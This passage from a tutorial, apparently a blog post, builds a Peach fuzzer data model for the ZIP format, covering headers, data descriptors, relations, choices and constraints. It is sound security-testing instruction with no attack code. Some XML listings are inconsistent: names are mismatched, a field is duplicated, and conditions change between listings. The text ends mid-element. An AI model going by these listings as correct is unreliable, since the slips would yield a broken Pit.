Looking at this part of the spec, we see that each individual bit flag
\(0-15\) represents an option within the file spec. For now, we’re not going
to concern ourselves with the purpose of each flag. Rather, we’ll begin by
creating a each flag, assigning it a unique name, and defining it’s position
and length in the bit-stream. Don’t forget to place the “Flag” elements inside
our “Flags” element.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |  `<``Flags` `name``=``"lfh_BitFlag"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Flag` `name``=``"lfh_bf_Encrypted"` `size``=``"1"` `position``=``"0"``/>` ` ``<``Flag` `name``=``"lfh_bf_CompMethod1"` `size``=``"1"` `position``=``"1"``/>` ` ``<``Flag` `name``=``"lfh_bf_CompMethod2"` `size``=``"1"` `position``=``"2"``/>` ` ``<``Flag` `name``=``"lfh_bf_Zeroed"` `size``=``"1"` `position``=``"3"``/>` ` ``<``Flag` `name``=``"lfh_bf_Deflate"` `size``=``"1"` `position``=``"4"``/>` ` ``<``Flag` `name``=``"lfh_bf_Patched"` `size``=``"1"` `position``=``"5"``/>` ` ``<``Flag` `name``=``"lfh_bf_Strong"` `size``=``"1"` `position``=``"6"``/>` ` ``<``Flag` `name``=``"lfh_bf_Unused1"` `size``=``"1"` `position``=``"7"``/>` ` ``<``Flag` `name``=``"lfh_bf_Unused2"` `size``=``"1"` `position``=``"8"``/>` ` ``<``Flag` `name``=``"lfh_bf_Unused3"` `size``=``"1"` `position``=``"9"``/>` ` ``<``Flag` `name``=``"lfh_bf_Unused4"` `size``=``"1"` `position``=``"10"``/>` ` ``<``Flag` `name``=``"lfh_bf_Efs"` `size``=``"1"` `position``=``"11"``/>` ` ``<``Flag` `name``=``"lfh_bf_Reserved1"` `size``=``"1"` `position``=``"12"``/>` ` ``<``Flag` `name``=``"lfh_bf_Enc_CD"` `size``=``"1"` `position``=``"13"``/>` ` ``<``Flag` `name``=``"lfh_bf_Reserved2"` `size``=``"1"` `position``=``"14"``/>` ` ``<``Flag` `name``=``"lfh_bf_Reserved3"` `size``=``"1"` `position``=``"15"``/>` `</``Flags``>`  
---|---  
So you can see here that we’ve defined our 16 bit flags, each with a length of
1 representing a single bit. Hopefully this isn’t too confusing.

Now with that out of the way, let’s go back to the Local File Header and move
on to our next field, the “compression method”. As with the “version needed to
extract” field, we simply need to create a 2 byte numerical field. We can
determine it’s a number by looking at it’s definition in Section J.

1 |  `<``Number` `name``=``"lfh_CompMethod"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>`  
---|---  
Good. Moving right along. Let’s take care of our next two fields, “last mod
file time” and “last mod file date.” Again, we can use a number element to
represent these fields.

1 2 |  `<``Number` `name``=``"lfh_LastModTime"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` `<``Number` `name``=``"lfh_LastModDate"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>`  
---|---  
By now you should already be able to determine why the number element was
suitable for representing these fields. Our next field, CRC-32, will contain
just that, the CRC-32 checksum of our compressed data. Now in this example we
won’t be doing anything special with this field however it is worth noting
that Peach, with the use of a FixUp element is capable of performing CRC-32
checks against referenced data. However due to complexities in the Zip file
format, this solution is not so straight forward and is out of the scope of
this article. I plan on writing a follow-up article to address just this, but
for the time being, let’s go ahead and create this element and tell Peach not
to fuzz it.

1 |  `<``Number` `name``=``"lfh_CRC32"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"` `mutable``=``"false"``/>`  
---|---  
With that out of the way, let’s continue by defining our next 4 fields,
“compressed size”, “uncompressed size”, “file name length”, and “extra field
length”.

1 2 3 4 |  `<``Number` `name``=``"lfh_CompSize"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` `<``Number` `name``=``"lfh_DecompSize"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` `<``Number` `name``=``"lfh_FileNameLen"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` `<``Number` `name``=``"lfh_ExtraFldLen"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>`  
---|---  
As with our previous fields we’ve chosen the number element, defined a size,
and marked these fields as little endian and unsigned.

Now looking at our next two elements we have a bit of a problem. Neither field
has a value or length which makes it very difficult for Peach to determine
where the field begins or ends. Looking back at our previous 4 elements we see
that lfh\_FileNameLen and lfh\_ExtraFldLen will provide the length of these
fields, but how will we tell Peach to look at these two fields when
determining the size of “file name” and “extra field”?

#### Size Relations

Relations are one of Peach’s most powerful features. In this case, we can go
ahead and use a size relation to inform Peach that the size of “File Name” is
located in “lfh\_FileNameLen”. Additionally, this relation will work both ways
so that when we begin fuzzing, if the amount of data in “File Name” increases,
Peach will update lfh\_FileNameLen to contain the correct value \(or not
depending on the fuzz strategy\).

**Size Relation Parameters**

  * **type**
    * Type obviously will define the type of relation to use. In this article, we’ll only discuss “size” and “when” relations.
  * **of**
    * The “of” parameter specifies which element to reference in this relation.

Before we can go ahead and apply our relation, let’s go ahead and define
twoelements for our file name and extra field.

1 2 |  `<``String` `name``=``"lfh_FileName"``/>` `<``String` `name``=``"lfh_FldName"``/>`  
---|---  
Ok, now that we’ve created our fields let’s apply the size relation.

1 2 3 4 5 6 7 8 9 10 |  `<``Number` `name``=``"lfh_CompSize"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` `<``Number` `name``=``"lfh_DecompSize"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` `<``Number` `name``=``"lfh_FileNameLen"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"lfh_FileName"``/>` `</``Number``>` `<``Number` `name``=``"lfh_ExtraFldLen"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"lfh_FldName"``/>` `</``Number``>` `<``String` `name``=``"lfh_FileName"``/>` `<``String` `name``=``"lfh_ExtraField"``/>`  
---|---  
As you can see we’ve instructed Peach that whenever it parses the
lfh\_FileNameLen and lfh\_ExtraFldLen fields, to store this data and apply it
as the size for lfh\_FileName and lfh\_FldName.

Hopefully I didn’t loose anyone there because we’re going to need to do one
last thing before we can move on to the next section. If we go back to Section
J and find “Extra Field”, we see that there is additional structure for this
field that we can add to our Pit. According to the spec, the “extra field” is
actually compromised of atleast 1 block, which contains 3 elements, the header
id, data size, and data.

Let’s go ahead and replace the string lfh\_ExtraField with a block of the same
name and create our structure.

1 2 3 4 5 |  `<``Block` `name``=``"lfh_ExtraField"` `minOccurs``=``"0"` `maxOccurs``=``"1024"``>` ` ``<``Number` `name``=``"lfh_ef_HeaderId"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"lfh_ef_DataSize"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Blob` `name``=``"data"``/>` `</``Block``>`  
---|---  
As you can see we’ve instructed Peach this block can occur up to 1024 times
but why a minimum occurrence of 0? If the lfh\_ExtraFldLen is set to 0, we
need to let Peach know that this block is optional. Inside the block we see
two static length fields \(2 bytes each\) and a blob for our data since we
have no way of determining what type of data will be kept in this field. But
as with our previous example, we must determine a size for this element so
let’s apply another size of relation.

1 2 3 4 5 6 7 |  `<``Block` `name``=``"lfh_ExtraField"` `minOccurs``=``"0"` `maxOccurs``=``"1024"``>` ` ``<``Number` `name``=``"lfh_ef_HeaderId"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"lfh_ef_DataSize"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"lfh_ef_Data"``/>` ` ``</``Number``>` ` ``<``Blob` `name``=``"lfh_ef_Data"``/>` `</``Block``>`  
---|---  
Wow, things are really getting complex now. If the size of lfh\_ef\_Data
changes, Peach will update lfh\_ef\_DataSize or vice versa. Additionally, as
lfh\_ef\_Data changes, the block size will also change which will go ahead and
update the value contained within lfh\_FldName. It’s a good thing Peach will
take care of dynamically managing these field sizes so that we don’t have to.
Let’s go ahead and move on to our next section.

### B. File data

Looking at the next section in the Zip specification, we see a single field,
“File Data”, which is intended to hold the compressed data for this Local File
Header. Now unfortunately we can’t just go ahead and add a blank element in
Peach without defining a size \(or value\) unless the element is followed by
an element with a supplied value and marked as a token. So to help us, we’re
going to use the size-relation we learned about earlier. Looking at the LFH
header we see a field named “Compressed Size” or lfh\_CompSize in our Pit.
We’re going to assume that this defines the size of “File Data.”

\(To verify we can always fire-up the 010 Binary Editor and run the Zip
template.\)

Now since we can expect compressed data for this field, a number or string
element won’t be suitable to represent this field. Let’s go ahead and use our
fall-back, the blob element.

1 |  `<``Blob` `name``=``"lfh_CompData"` `mutable``=``"false"``/>`  
---|---  
Now, as I mentioned earlier, Peach provides some advanced features for
performing additional operations on our data \(remember our CRC-32 Fixup?\).
Peach also has an additional feature, “transformers,” which allows us, in two
directions, to perform operations against our data. In this case, we could use
the “Compress” transformer to decompress this field, fuzz our data, and re-
compress it. However as with the CRC-32 Fixup, this feature will be discussed
in the follow-up article. Because of this, we’ve also marked this element as
unmutable.

Now, looking at the definition for Section B, we see that this block will
immediately follow the LocalFileHeader. A combination of Local File Header,
File Data, and our next block Data Descriptor, will repeat \(as a group\) for
every file in the archive. Since we’ve already marked the LocalFileHeader to
repeat \(using maxOccurs\), let’s go ahead and include section B \(and Section
C shortly\) within the same block as our LocalFileHeader.

It should look something like this.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |  `<!-- A. Local file header -->` ` ``<``Block` `name``=``"LocalFileHeader"``>` ` ``<``String` `name``=``"lfh_Signature"` `valueType``=``"hex"` `value``=``"504b0304"` `token``=``"true"` `mutable``=``"false"``/>` ` ``<``Number` `name``=``"lfh_Ver"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``...` ` ``[truncated for space]` ` ``...` ` ``<``Number` `name``=``"lfh_CompSize"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"lfh_CompData"``/>` ` ``</``Number``>` ` ``<``Number` `name``=``"lfh_DecompSize"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"lfh_FileNameLen"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"lfh_FileName"``/>` ` ``</``Number``>` ` ``<``Number` `name``=``"lfh_ExtraFldLen"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"lfh_FldName"``/>` ` ``</``Number``>` ` ``<``String` `name``=``"lfh_FileName"``/>` ` ``<``String` `name``=``"lfh_FldName"``/>` ` ``<!-- B. File data -->` ` ``<``Blob` `name``=``"lfh_CompData"``/>` ` ``</``Block``>`  
---|---  
### C. Data Descriptor

Ok good. Moving on. Section C describes the Data Descriptor block. Now before
we move on there are several issues when building this block that aren’t
immediately apparent when reading the specification. In fact I didn’t discover
several hidden functions within the Zip file format until I had already
completed my Pit and began testing it. In an attempt to save you time\(and
more than likely a lot of frustration\), I’ll go ahead and detail some of the
nuances of the Zip file format below in an easier to read format and we’ll
then go ahead and create this block.

\(These items are listed in order of readability and not necessarily the
ordered in which they are defined in the specification.\)

  * **1.** The Data Descriptor block only exists if bit 3 of our general purpose bit-flag is set to yes \(1\).
  * **2.** The Data Descriptor block may provide the size info for lfh\_CompData.
  * **3.** The Data Descriptor block may or may not begin with a block signature.
  * **4.** The Data Descriptor block may use 8 byte values to describe the compressed and decompressed data sizes if the archive is in Zip64 format.

Ok, now that doesn’t seem like a lot but it will here in a bit. Let’s begin by
building a basic representation of this block.

1 2 3 4 5 6 |  `<!-- C. Data descriptor -->` ` ``<``Block` `name``=``"DataDescriptor"``>` ` ``<``Number` `name``=``"dd_CRC32"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"dd_CompSize"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"dd_DecompSize"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``</``Block``>`  
---|---  
Now, looking at item number 1, we see that this block will only occur if bit 3
of the general purpose bitflag is set to 1. Now we need to find some way to
have Peach check bit 3 of our general purpose bitflag before we continue
parsing beyond the File Data block.

#### When Relations

“When” Relations are useful for doing simple conditional statements. For
example, in our specification, when lfh\_BitFlag.lfh\_bf\_Zeroed is set to 1,
the “Data Descriptor Block” will exist immediately after our compressed “File
Data.” If this fields contain anything other than 1, this block will be
removed.

**When Relation Parameters**

  * **type**
    * As with size relations, here we’ll be defining our relation type as “when.”
  * **when**
    * The “when” parameter allows us to define a python expression to determine whether or not the assigned element should be used.

So to implement this, we’ll do the following:

1 2 3 4 5 6 7 |  `<!-- C. Data descriptor -->` ` ``<``Block` `name``=``"DataDescriptor"``>` ` ``<``Relation` `type``=``"when"` `when``=``"int(self.find('lfh_BitFlag.lfh_bf_Zeroed').defaultValue) == 1"``/>` ` ``<``Number` `name``=``"dd_CRC32"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"dd_CompSize"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"dd_DecompSize"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``</``Block``>`  
---|---  
In the code above you can see that we’ve defined a short conditional statement
that means if lfh\_BitFlag.lfh\_bf\_Zeroed equal 1, that this block will
exist. Now with that out of the way we can tackle our second issue.

In some instances, when the Data Descriptor block exists, lfh\_CompSize, our
element responsible for providing the size information for lfh\_CompData, may
be set to 0. If this happens, our current size relation will fail and Peach
will be unable to parse the rest of the Zip file. Luckily, if lfh\_CompSize is
set to 0, our size data will be provided by the dd\_CompSize element within
our Data Descriptor \(a little bit more on this in a bit\).

To handle either situation, we’ll go ahead and create two independent blocks
for our file data; one which utilizes the “size” relation and another which
doesn’t \(sort of\). Since our “size” relation is actually applied to
lfh\_CompSizeData, we’ll need to go ahead and update that “of” parameter to
match our newly named file data element. We’ll also go ahead and add a “when”
relation to each block so that Peach knows which one to select.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |  `<!-- A. Local file header -->` ` ``<``Number` `name``=``"lfh_CompSize"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"lfh_CompSizeData"``/>` ` ``</``Number``>` ` ``...` ` ``[truncated for space]` ` ``...` `<!-- B. File data -->` ` ``<``Block` `name``=``"lfh_Data"``>` ` ``<``Block` `name``=``"lfh_DataHasSize"``>` ` ``<``Relation` `type``=``"when"` `when``=``"int(self.find('lfh_CompSize').defaultValue) != 0"``/>` ` ``<``Blob` `name``=``"lfh_CompSizeData"` `mutable``=``"false"``/>` ` ``</``Block``>` ` ``<``Block` `name``=``"lfh_DataNoSize"``>` ` ``<``Relation` `type``=``"when"` `when``=``"int(self.find('lfh_CompSize').defaultValue) == 0"``/>` ` ``<``Blob` `name``=``"lfh_CompNoSizeData"` `mutable``=``"false"``/>` ` ``</``Block``>` ` ``</``Block``>`  
---|---  
Ok, so now you can see that we have two blocks. Our first block begins with a
“when” relation that states that this block should only exist if lfh\_CompSize
does not equal 0 \(the exact opposite of our Data Descriptor block\). We’ve
also updated the element name for our file data element and made sure that our
“size” relation matches this name.

Our second block also begins with a “when” relation, followed by an unsized
blob element for our file data. Now, in doing so we’ve actually created a new
issue for ourselves. If we look back to our list of requirements for the Data
Descriptor block, specifically item \#3, we see that the Data Descriptor block
may or may not begin with a block signature. What does this mean to us? Well
if we don’t have a block signature \(more specifically, an item marked as a
token\), we won’t have anyway of telling Peach what to look for to signify the
termination of lfh\_CompNoSizeData, our unsized blob. In otherwords, Peach
won’t be able to determine the size for this element, and will exit.

Now, what I’ve done is not necessarily a perfect solution. Based on what I’ve
seen with the Zip files that I’ve sampled and parsed is that most \(actually
all that I’ve tested\) do begin with a block signature. Because of this, I’ve
chosen to go ahead and ignore item \#3 and only create a definition for blocks
which do contain a signature. Now this does mean that we will be excluding a
small portion of the specification from our Pit, however I felt that this was
an acceptable loss. If you are able to find an easier way around this I
certainly welcome the solution\!

Ok, with that said let’s go ahead modify our Data Descriptor block to include
the block signature.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |  `<!-- B. File data -->` ` ``<``Block` `name``=``"lfh_Data"``>` ` ``<``Block` `name``=``"lfh_DataHasSize"``>` ` ``<``Relation` `type``=``"when"` `when``=``"int(self.find('lfh_CRC32').getInternalValue()) != 0 and int(self.find('lfh_CompSize').getInternalValue()) != 0 and int(self.find('lfh_DecompSize').getInternalValue()) != 0"``/>` ` ``<``Blob` `name``=``"lfh_CompSizeData"` `mutable``=``"false"``/>` ` ``</``Block``>` ` ``<``Block` `name``=``"lfh_DataNoSize"``>` ` ``<``Relation` `type``=``"when"` `when``=``"int(self.find('lfh_CRC32').getInternalValue()) == 0 and int(self.find('lfh_CompSize').getInternalValue()) == 0 and int(self.find('lfh_DecompSize').getInternalValue()) == 0"``/>` ` ``<``Blob` `name``=``"lfh_CompNoSizeData"` `mutable``=``"false"``/>` ` ``</``Block``>` ` ``</``Block``>` `<!-- C. Data descriptor -->` ` ``<``Block` `name``=``"DataDescriptor"``>` ` ``<``Relation` `type``=``"when"` `when``=``"int(self.find('lfh_BitFlag.lfh_bf_Zeroed').defaultValue) == 1"``/>` ` ``<!-- Below is our newly added block signature -->` ` ``<``String` `name``=``"dd_Sig"` `valueType``=``"hex"` `value``=``"504b0708"` `token``=``"true"` `mutable``=``"false"``/>` ` ``<``Number` `name``=``"dd_CRC32"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"dd_CompSize"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"dd_DecompSize"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``</``Block``>`  
---|---  
With that done, let’s move on to item \#4.

Item \#4 states that the compressed and decompressed size elements within our
Data Descriptor may be either 4 or 8 bytes depending on whether or not we’re
working with a Zip64 archive. Luckily for us, Peach provides us with a
mechanism to define several “choices” for determining the layout of our Data
Descriptor.

#### Choice Element

Choice elements allow us to define a number of possible blocks \(or individual
elements\) and instruct Peach that only one \(or none — think minOccurs\!\) is
valid. The Choice element tests each block from top down and will select the
first block that matches the supplied data.

> The Choice element accepts the same arguments as our Block elements \(i.e.
> name, minOccurs, and maxOccurs\).
So let’s go ahead and create our choice element and populate it with our two
blocks to accommodate both 4 and 8 byte sizes. We’ll preceed our choice
element with our Data Descriptor Signature and CRC32 fields as these won’t
change regardless of block selection. Our Choice structure should look like
the following.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |  `<!-- C. Data descriptor -->` ` ``<!-- C. Data descriptor -->` ` ``<``Block` `name``=``"DataDescriptor"``>` ` ``<``Relation` `type``=``"when"` `when``=``"int(self.find('lfh_BitFlag.lfh_bf_Zeroed').defaultValue) == 1"``/>` ` ``<``String` `name``=``"dd_Sig"` `valueType``=``"hex"` `value``=``"504b0708"` `token``=``"true"` `mutable``=``"false"``/>` ` ``<``Number` `name``=``"dd_CRC32"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Choice` `name``=``"dd_chooser"``>` ` ``<``Block` `name``=``"dd_64"``>` ` ``<``Number` `name``=``"dd_CompSize64"` `size``=``"64"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"dd_DecompSize64"` `size``=``"64"` `endian``=``"little"` `signed``=``"false"``/>` ` ``</``Block``>` ` ``<``Block` `name``=``"dd_32"``>` ` ``<``Number` `name``=``"dd_CompSize32"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"dd_DecompSize32"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``</``Block``>` ` ``</``Choice``>` ` ``</``Block``>` ` ``</``Block``>`  
---|---  
With the above section, Peach will now be able to parse the lfh\_Data block
because we’ve provided it with a token to look for signifying the end of that
element. Unfortunately, we’ve introduced yet another issue into our fuzzer.
Our current setup utilizes a choice element in order to provide Peach the
capability to adapt in the event that the field sizes change between 4 and 8
bytes. However, with the way our fuzzer is currently configured, Peach would
begin parsing the Zip64 field sizes first. Since we haven’t specified a value
for either of these fields, Peach has no way of determining if the data it
parses, is invalid. The worst case scenario would occur if the field sizes
were actually 4 bytes, and Peach continues parsing on to our next block making
it impossible for us to continue parsing beyond this block definition. To
adjust for this, we need to be able to define a way for Peach to check and
make sure that our Zip64 elements do not contain the next block header.

#### Constraints

Constraints allow us to define a Python expression, which if the outcome is
true, will enable the element. If the outcome of our expression is false,
Peach will disregard the element and exit the current routine. In the scenario
we’ve created above, this will cause a false outcome to exit the current block
and move onto our next choice.

So rather than defining an explicit expression which checks to see if any of
our block signatures are present in the element, we’ll go ahead and check for
the existence of PK, the first 2 bytes of all Zip block signatures. To do
this, we’ll update the second element in our Zip64 block to look as follows:

1 |  `<``Number` `name``=``"dd_DecompSize64"` `size``=``"64"` `endian``=``"little"` `signed``=``"false"` `constraint``=``"'4b50' not in hex(value)"``/>`  
---|---  
Good. We’re nearly done. Only one last item to address.

In item \#2 we mentioned that in some instances where the Data Descriptor
block exists, lfh\_CompSize will be set to 0 and our Data Descriptor will
provide the sizing information. Now this fact wouldn’t have helped us earlier
as lfh\_CompNoSizeData would act as an unsize blob and continue parsing until
it hit our next token \(dd\_Sig\). However, now that we have created the
structure for our Data Descriptor, we can go ahead and add a size relation to
link together our lfh\_CompNoSizeData and our Data Descriptor. Now remember,
since we have a choice element in the Data Descriptor that will manage both
our 4 and 8 byte fields we’ll need to add 2 relations, 1 for each field.

Your final product should look as follows:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |  `<!-- B. File data -->` ` ``<``Block` `name``=``"lfh_Data"``>` ` ``<``Block` `name``=``"lfh_DataHasSize"``>` ` ``<``Relation` `type``=``"when"` `when``=``"int(self.find('lfh_CompSize').defaultValue) != 0"``/>` ` ``<``Blob` `name``=``"lfh_CompSizeData"` `mutable``=``"false"``/>` ` ``</``Block``>` ` ``<``Block` `name``=``"lfh_DataNoSize"``>` ` ``<``Relation` `type``=``"when"` `when``=``"int(self.find('lfh_CompSize').defaultValue) == 0"``/>` ` ``<``Blob` `name``=``"lfh_CompNoSizeData"` `mutable``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"dd_CompSize64"``/>` ` ``<``Relation` `type``=``"size"` `of``=``"dd_CompSize32"``/>` ` ``</``Blob``>` ` ``</``Block``>` ` ``</``Block``>` `<!-- C. Data descriptor -->` ` ``<``Block` `name``=``"DataDescriptor"``>` ` ``<``Relation` `type``=``"when"` `when``=``"int(self.find('lfh_BitFlag.lfh_bf_Zeroed').defaultValue) == 1"``/>` ` ``<``String` `name``=``"dd_Sig"` `valueType``=``"hex"` `value``=``"504b0708"` `token``=``"true"` `mutable``=``"false"``/>` ` ``<``Number` `name``=``"dd_CRC32"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Choice` `name``=``"dd_chooser"``>` ` ``<``Block` `name``=``"dd_64"``>` ` ``<``Number` `name``=``"dd_CompSize64"` `size``=``"64"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"dd_DecompSize64"` `size``=``"64"` `endian``=``"little"` `signed``=``"false"` `constraint``=``"'4b50' not in hex(value)"``/>` ` ``</``Block``>` ` ``<``Block` `name``=``"dd_32"``>` ` ``<``Number` `name``=``"dd_CompSize32"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"dd_DecompSize32"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``</``Block``>` ` ``</``Choice``>` ` ``</``Block``>` `</``Block``>`  
---|---  
Wow, that was a lot of work for 30 lines of code. I recommend you take a deep
breath and stare at a fixed object for the next 30 seconds before you loose
conciousness…

### D. Archive Decryption Header

All jokes aside, let’s continue on. Looking back at the specification we see
our next section, the Archive Decryption Header. Unfortunately since the
specification doesn’t provide any definition for this section, we’ll go ahead
and skip it.

### E. Archive Extra Data Record

Our next block, the “Archive Extra Data Record,” is a fairly simple block. It
begins with a static 4 byte signature, followed by a static length field that
provides the length of our next field. We’ll start by telling Peach to not
fuzz our signature field, and we’ll use a size relation again to determine the
size of our variable length field. This block should look similar to the
following:

1 2 3 4 5 |  `<``Block` `name``=``"ArchiveExtraDataRecord"` `minOccurs``=``"0"` `maxOccurs``=``"1"``>` ` ``<``String` `name``=``"aedr_Sig"` `valueType``=``"hex"` `value``=``"504b0608"` `token``=``"true"` `mutable``=``"false"``/>` ` ``<``Number` `name``=``"aedr_ExtFldLen"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Blob` `name``=``"aedr_ExtFld"``/>` `</``Block``>`  
---|---  
### F. Central Directory Structure

Looking at this portion of the specification, we can see that the Central
Directory Structure is made up of an arbitrary number of file header blocks,
followed up by a single “Digital Signature.” Knowing that, we can use the
maxOccurs attribute on the block element to specify that this block may repeat
up to n times. We’ll go ahead and set that to 1,024 just for safe measure,
although in all liklihood we’ll never hit that threshold.

Further review of the Central Directory Structure reveals 19 static-length
fields including 1 bit flag and 4 variable length fields \(including both the
file header and digital signature\). Based on the field names we can determine
the following size relations:

**\[File Header\]**  
file name length\(2\) => file name  
extra field length\(2\) => extra field  
file comment length\(2\) => file comment

**\[Digital Signature\]**  
size of data\(2\) => signature data

Based on what we’ve learned during the Local File Header, let’s go ahead and
create one container block for the entire Central Directory Structure, and two
sub-blocks, FileHeader and DigitalSignature. We’ll also go ahead and populate
them with the data we see in the specification.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 |  `<``Block` `name``=``"CentralDirectoryStructure"``>` ` ``<``Block` `name``=``"FileHeader"` `maxOccurs``=``"1024"``>` ` ``<``String` `name``=``"cfh_Signature"` `valueType``=``"hex"` `value``=``"504b0102"` `token``=``"true"` `mutable``=``"false"``/>` ` ``<``Number` `name``=``"cfh_Ver"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"cfh_VerReq"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Flags` `name``=``"cfh_BitFlag"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Flag` `name``=``"cfh_bf_Encrypted"` `size``=``"1"` `position``=``"0"``/>` ` ``<``Flag` `name``=``"cfh_bf_CompMethod1"` `size``=``"1"` `position``=``"1"``/>` ` ``<``Flag` `name``=``"cfh_bf_CompMethod2"` `size``=``"1"` `position``=``"2"``/>` ` ``<``Flag` `name``=``"cfh_bf_Zeroed"` `size``=``"1"` `position``=``"3"``/>` ` ``<``Flag` `name``=``"cfh_bf_Deflate"` `size``=``"1"` `position``=``"4"``/>` ` ``<``Flag` `name``=``"cfh_bf_Patched"` `size``=``"1"` `position``=``"5"``/>` ` ``<``Flag` `name``=``"cfh_bf_Strong"` `size``=``"1"` `position``=``"6"``/>` ` ``<``Flag` `name``=``"cfh_bf_Unused1"` `size``=``"1"` `position``=``"7"``/>` ` ``<``Flag` `name``=``"cfh_bf_Unused2"` `size``=``"1"` `position``=``"8"``/>` ` ``<``Flag` `name``=``"cfh_bf_Unused3"` `size``=``"1"` `position``=``"9"``/>` ` ``<``Flag` `name``=``"cfh_bf_Unused4"` `size``=``"1"` `position``=``"10"``/>` ` ``<``Flag` `name``=``"cfh_bf_EFS"` `size``=``"1"` `position``=``"11"``/>` ` ``<``Flag` `name``=``"cfh_bf_Reserved1"` `size``=``"1"` `position``=``"12"``/>` ` ``<``Flag` `name``=``"cfh_bf_Enc_Cd"` `size``=``"1"` `position``=``"13"``/>` ` ``<``Flag` `name``=``"cfh_bf_Reserved2"` `size``=``"1"` `position``=``"14"``/>` ` ``<``Flag` `name``=``"cfh_bf_Reserved3"` `size``=``"1"` `position``=``"15"``/>` ` ``</``Flags``>` ` ``<``Number` `name``=``"cfh_CompMethod"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"cfh_LastModTime"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"cfh_LastModDate"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"cfh_CRC32"` `size``=``"32"` `endian``=``"little"` `signed``=``"true"` `mutable``=``"false"``/>` ` ``<``Number` `name``=``"cfh_CompSize"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"cfh_CompSize"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"cfh_DecompSize"` `size``=``"32"` `endian``=``"little"` `signed``=``"false"``/>` ` ``<``Number` `name``=``"cfh_FileNameLen"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"cfh_FileName"``/>` ` ``</``Number``>` ` ``<``Number` `name``=``"cfh_ExtraFldLen"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` `of``=``"cfh_FldName"``/>` ` ``</``Number``>` ` ``<``Number` `name``=``"cfh_FileCommLen"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``>` ` ``<``Relation` `type``=``"size"` 